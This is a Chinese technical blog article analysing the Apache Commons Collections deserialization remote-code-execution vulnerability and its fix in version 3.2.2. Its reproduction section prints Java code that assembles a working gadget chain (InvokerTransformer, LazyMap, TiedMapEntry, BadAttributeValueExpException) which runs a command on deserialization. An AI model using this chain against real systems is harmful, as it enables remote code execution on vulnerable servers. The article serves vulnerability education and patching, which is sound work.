1. 程式人生 > >原來不只是fastjson,這個你每天都在用的類庫也被爆過反序列化漏洞!

原來不只是fastjson,這個你每天都在用的類庫也被爆過反序列化漏洞!

[GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) [GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) [GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) 在《[fastjson到底做錯了什麼?為什麼會被頻繁爆出漏洞?][1]》文章中,我從技術角度分析過為什麼fastjson會被頻繁爆出一些安全漏洞,然後有人在評論區發表"說到底就是fastjson爛..."等言論,一般遇到這種評論我都是不想理的。 但是事後想想,這個事情還是要單獨說一下,因為這種想法很危險。 一旦這位讀者有一天當上了領導,那麼如果他負責的專案發生了漏洞,他還是站出來說"都怪XXX程式碼寫的爛...",這其實是非常可怕的。 工作久了的話,就會慢慢有種感覺:程式碼都是人寫的,是人寫的程式碼就可能存在漏洞,這個是永遠都無法避免的,任何牛X的程式設計師都不可能寫出完全沒有bug的程式碼! 其實關於序列化的安全性問題,無論是Java原生的序列化技術還是很多其他的開源序列化工具,都曾經發生過。 序列化的安全性,一直都是比較大的一個話題,我無意為fastjson辯駁,但是出問題之後直接噴程式碼寫的爛,其實是有點不負責任的。 Apache-Commons-Collections這個框架,相信每一個Java程式設計師都不陌生,這是一個非常著名的開源框架。 但是,他其實也曾經被爆出過序列化安全漏洞,而漏洞的表現和fastjson一樣,都是可以被遠端執行命令。 ### 背景 Apache Commons是Apache軟體基金會的專案,Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java程式碼。 **Commons Collections包為Java標準的Collections API提供了相當好的補充。**在此基礎上對其常用的資料結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程式的過程中,既保證了效能,同時也能大大簡化程式碼。 Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實,**在3.2.1以下版本中,存在一個比較大的安全漏洞,可以被利用來進行遠端命令執行。** 這個漏洞在2015年第一次被披露出來,但是業內一直稱稱這個漏洞為"2015年最被低估的漏洞"。 因為這個類庫的使用實在是太廣泛了,首當其中的就是很多Java Web Server,這個漏洞在當時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。 之後,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現任意程式碼執行。 ### 問題復現 這個問題主要會發生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進行測試,JDK版本為Java 8。 #### 利用Transformer攻擊 Commons Collections中提供了一個Transformer介面,主要是可以用來進行型別裝換的,這個介面有一個實現類是和我們今天要介紹的漏洞有關的,那就是InvokerTransformer。 **InvokerTransformer提供了一個transform方法,該方法核心程式碼只有3行,主要作用就是通過反射對傳入的物件進行例項化,然後執行其iMethodName方法。** ![][2] 而需要呼叫的iMethodName和需要使用的引數iArgs其實都是InvokerTransformer類在例項化時設定進來的,這個類的建構函式如下: ![][3] 也就是說,使用這個類,理論上可以執行任何方法。那麼,我們就可以利用這個類在Java中執行外部命令。 我們知道,想要在Java中執行外部命令,需要使用`Runtime.getRuntime().exec(cmd)`的形式,那麼,我們就想辦法通過以上工具類實現這個功能。 首先,通過InvokerTransformer的建構函式設定好我們要執行的方法以及引數: Transformer transformer = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"}); 通過,建構函式,我們設定方法名為`exec`,執行的命令為`open /Applications/Calculator.app`,即開啟mac電腦上面的計算器(windows下命令:`C:\\Windows\\System32\\calc.exe`)。 然後,通過InvokerTransformer實現對`Runtime`類的例項化: transformer.transform(Runtime.getRuntime()); 執行程式後,會執行外部命令,開啟電腦上的計算機程式: ![][4] 至此,我們知道可以利用InvokerTransformer來呼叫外部命令了,那是不是隻需要把一個我們自定義的InvokerTransformer序列化成字串,然後再反序列化,介面實現遠端命令執行: ![][5] 先將transformer物件序列化到檔案中,再從檔案中讀取出來,並且執行其transform方法,就實現了攻擊。 #### 你以為這就完了? 但是,如果事情只有這麼簡單的話,那這個漏洞應該早就被發現了。想要真的實現攻擊,那麼還有幾件事要做。 因為,`newTransformer.transform(Runtime.getRuntime());`這樣的程式碼,不會有人真的在程式碼中寫的。 如果沒有了這行程式碼,還能實現執行外部命令麼? 這就要利用到Commons Collections中提供了另一個工具那就是ChainedTransformer,這個類是Transformer的實現類。 **ChainedTransformer類提供了一個transform方法,他的功能遍歷他的iTransformers陣列,然後依次呼叫其transform方法,並且每次都返回一個物件,並且這個物件可以作為下一次呼叫的引數。** ![][6] 那麼,我們可以利用這個特性,來自己實現和`transformer.transform(Runtime.getRuntime());`同樣的功能: Transformer[] transformers = new Transformer[] { //通過內建的ConstantTransformer來獲取Runtime類 new ConstantTransformer(Runtime.class), //反射呼叫getMethod方法,然後getMethod方法再反射呼叫getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射呼叫invoke方法,然後反射執行Runtime.getRuntime()方法,返回Runtime例項化物件 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射呼叫exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); 在拿到一個transformerChain之後,直接呼叫他的transform方法,傳入任何引數都可以,執行之後,也可以實現開啟本地計算器程式的功能: ![][7] 那麼,結合序列化,現在的攻擊更加進了一步,不再需要一定要傳入`newTransformer.transform(Runtime.getRuntime());`這樣的程式碼了,只要程式碼中有 `transformer.transform()`方法的呼叫即可,無論裡面是什麼引數: ![][8] #### 攻擊者不會滿足於此 但是,一般也不會有程式設計師會在程式碼中寫這樣的程式碼。 那麼,攻擊手段就需要更進一步,真正做到"不需要程式設計師配合"。 於是,攻擊者們發現了在Commons Collections中提供了一個LazyMap類,這個類的get會呼叫transform方法。(Commons Collections還真的是懂得黑客想什麼呀。) ![][9] 那麼,現在的攻擊方向就是想辦法呼叫到LazyMap的get方法,並且把其中的factory設定成我們的序列化物件就行了。 順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會呼叫到LazyMap的get方法,而TiedMapEntry類的getValue又會被其中的toString()方法呼叫到。 public String toString() { return getKey() + "=" + getValue(); } public Object getValue() { return map.get(key); } 那麼,現在的攻擊門檻就更低了一些,只要我們自己構造一個TiedMapEntry,並且將他進行序列化,這樣,只要有人拿到這個序列化之後的物件,呼叫他的toString方法的時候,就會自動觸發bug。 Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); 我們知道,toString會在很多時候被隱式呼叫,如輸出的時候(`System.out.println(ois.readObject());`),程式碼示例如下: ![][10] 現在,黑客只需要把自己構造的TiedMapEntry的序列化後的內容上傳給應用程式,應用程式在反序列化之後,如果呼叫了toString就會被攻擊。 #### 只要反序列化,就會被攻擊 那麼,有沒有什麼辦法,讓程式碼只要對我們準備好的內容進行反序列化就會遭到攻擊呢? 倒還真的被發現了,只要滿足以下條件就行了: 那就是在某個類的readObject會呼叫到上面我們提到的LazyMap或者TiedMapEntry的相關方法就行了。因為Java反序列化的時候,會呼叫物件的readObject方法。 通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這裡拿BadAttributeValueExpException舉例 BadAttributeValueExpException類是Java中提供的一個異常類,他的readObject方法直接呼叫了toString方法: ![][11] 那麼,攻擊者只需要想辦法把TiedMapEntry的物件賦值給程式碼中的valObj就行了。 通過閱讀原始碼,我們發現,只要給BadAttributeValueExpException類中的成員變數val設定成一個TiedMapEntry型別的物件就行了。 這就簡單了,通過反射就能實現: Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); // val是私有變數,所以利用下面方法進行賦值 Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, entry); 於是,這時候,攻擊就非常簡單了,只需要把BadAttributeValueExpException物件序列化成字串,只要這個字串內容被反序列化,那麼就會被攻擊。 ![][12] ### 問題解決 以上,我們復現了這個Apache Commons Collections類庫帶來的一個和反序列化有關的遠端程式碼執行漏洞。 通過這個漏洞的分析,我們可以發現,只要有一個地方程式碼寫的不夠嚴謹,就可能會被攻擊者利用。 因為這個漏洞影響範圍很大,所以在被爆出來之後就被修復掉了,開發者只需要將Apache Commons Collections類庫升級到3.2.2版本,即可避免這個漏洞。 ![-w1382][13] 3\.2.2版本對一些不安全的Java類的序列化支援增加了開關,預設為關閉狀態。涉及的類包括 CloneTransformer ForClosure InstantiateFactory InstantiateTransformer InvokerTransformer PrototypeCloneFactory PrototypeSerializationFactory, WhileClosure 如在InvokerTransformer類中,自己實現了和序列化有關的writeObject()和 readObject()方法: ![][14] 在兩個方法中,進行了序列化安全的相關校驗,校驗實現程式碼如下: ![][15] 在序列化及反序列化過程中,會檢查對於一些不安全類的序列化支援是否是被禁用的,如果是禁用的,那麼就會丟擲`UnsupportedOperationException`,通過`org.apache.commons.collections.enableUnsafeSerialization`設定這個特性的開關。 將Apache Commons Collections升級到3.2.2以後,執行文中示例程式碼,將報錯如下: Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources. at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155) ### 後話 本文介紹了Apache Commons Collections的歷史版本中的一個反序列化漏洞。 如果你閱讀本文之後,能夠有以下思考,那麼本文的目的就達到了: 1、程式碼都是人寫的,有bug都是可以理解的 2、公共的基礎類庫,一定要重點考慮安全性問題 3、在使用公共類庫的時候,要時刻關注其安全情況,一旦有漏洞爆出,要馬上升級 4、安全領域深不見底,攻擊者總能抽絲剝繭,一點點bug都可能被利用 參考資料: https://commons.apache.org/proper/commons-collections/release_3_2_2.html https://p0sec.net/index.php/archives/121/ https://www.freebuf.com/vuls/175252.html https://kingx.me/commons-collections-java-deserialization.html [1]: https://www.hollischuang.com/archives/5177 [2]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944480560097.jpg [3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944485613275.jpg [4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944494651843.jpg [5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944505042521.jpg [6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944497629664.jpg [7]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944539116926.jpg [8]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944538564178.jpg [9]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944509076736.jpg [10]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537562975.jpg [11]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944519240647.jpg [12]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537014741.jpg [13]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944526874284.jpg [14]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525715616.jpg [15]: https://www.hollischuang.com/wp-content/uploads/2020/07/1594452599